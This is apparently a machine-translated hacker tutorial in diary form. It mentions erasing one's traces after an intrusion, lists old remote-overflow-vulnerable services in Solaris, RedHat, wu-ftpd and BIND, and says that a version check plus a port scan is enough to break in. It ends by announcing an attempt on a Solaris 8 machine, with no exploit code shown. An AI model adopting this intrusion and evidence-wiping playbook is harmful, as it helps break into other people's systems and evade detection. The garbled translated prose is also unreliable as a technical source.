Oh, why not do it? Disconnected? Don't even rub the footprint?

Hey, brothers, now 21:00, but also to take the subway. Originally 20:30, you will go, continue tomorrow, can't manage so much. Let's go back to see me before.

The tutorial, how to rub the PP. In order to save the layout, this tutorial will not show PP, you have to know how to wipe it. :) Right, learn from the use of remote overflow tomorrow, then find a few redhat back.

Go back, your stomach is also hungry, see you tomorrow ~~

ZZZZZZZZZ ~~~~~~~~

the next day:

Hey, everyone is good morning ~

I am going to work today, I have to be assigned, I will ask.

Shot ...

True, assigned tasks.

However, it started from next week. :)

So I will write the tutorial today.

I don't know if I can write this tutorial today.

We continue. :)

Yesterday, the method of local upgrading permissions, today we will talk about remote overflow.

Almost various operating systems have a serious remote overflow vulnerability.

Commonly known:

RPC.TTDBServerd from Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6

RPC.cmsd from Solaris 2.5, 2.5.1, 2.6, 7

SADMIND of Solaris 2.6, 7

SNMPXDMID of Solaris 7, 8

RedHat 6.0, 5.1, 4.0 AMD

RPC.Statd of Redhat 6.2, 6.1, 6.0

Redhat 7.0 LPRNG

...

Other systems are not listed.

In addition to the problem of the system itself, there are some third-party programs have problems.

For example, common FTP server Wu-ftp, version 2.6.0 and below are serious remote overflow issues

For example, DNS Server Bind, Version 8.2.2 and the following versions have a serious remote overflow problem.

...

It is too much to take advantage of it, and you need to take time, you need to rely on experience.

After the experience is rich, invade a simple system, just get the other party's system version, then scan the port is enough. Because you have already

The weaknesses of the system and daemon have been well understood.

We tried to enter a machine of Solaris 8 this time.
